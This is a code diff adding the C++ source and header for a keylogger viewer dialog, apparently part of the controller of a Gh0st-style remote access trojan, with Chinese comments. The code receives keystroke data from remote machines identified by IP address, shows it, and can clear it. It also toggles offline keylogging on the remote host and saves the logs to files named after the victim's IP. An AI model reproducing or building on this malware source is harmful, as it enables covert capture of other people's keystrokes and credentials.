pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
}
else if (nID == IDM_CLEAR_RECORD)
{
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_edit.SetWindowText("");
}
else if (nID == IDM_SAVE_RECORD)
{
SaveRecord();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
default:
// 传输发生异常数据
SendException();
break;
}
}
void CKeyBoardDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CKeyBoardDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
ResizeEdit();
}
void CKeyBoardDlg::ResizeEdit()
{
RECT rectClient;
RECT rectEdit;
if (m_edit.m_hWnd != NULL)
{
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
}
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this);
if (dlg.DoModal() != IDOK)
return false;
CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox("文件保存失败");
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
file.Close();
return true;
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.Format("\\\\%s - 键盘记录", m_IPAddress);
if (m_bIsOfflineRecord)
str += " (离线记录已开启)";
else
str += " (离线记录未开启)";
SetWindowText(str);
}

View File

@@ -0,0 +1,48 @@
#pragma once
#include "include/IOCPServer.h"
// CKeyBoardDlg 对话框
class CKeyBoardDlg : public CDialog
{
DECLARE_DYNAMIC(CKeyBoardDlg)
public:
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
virtual ~CKeyBoardDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_KEYBOARD };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_edit;
void OnReceiveComplete();
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void PostNcDestroy();
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
private:
bool SaveRecord();
void UpdateTitle();
void ResizeEdit();
void AddKeyBoardData();
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
bool m_bIsOfflineRecord;
void SendException();
};

Some files were not shown because too many files have changed in this diff Show More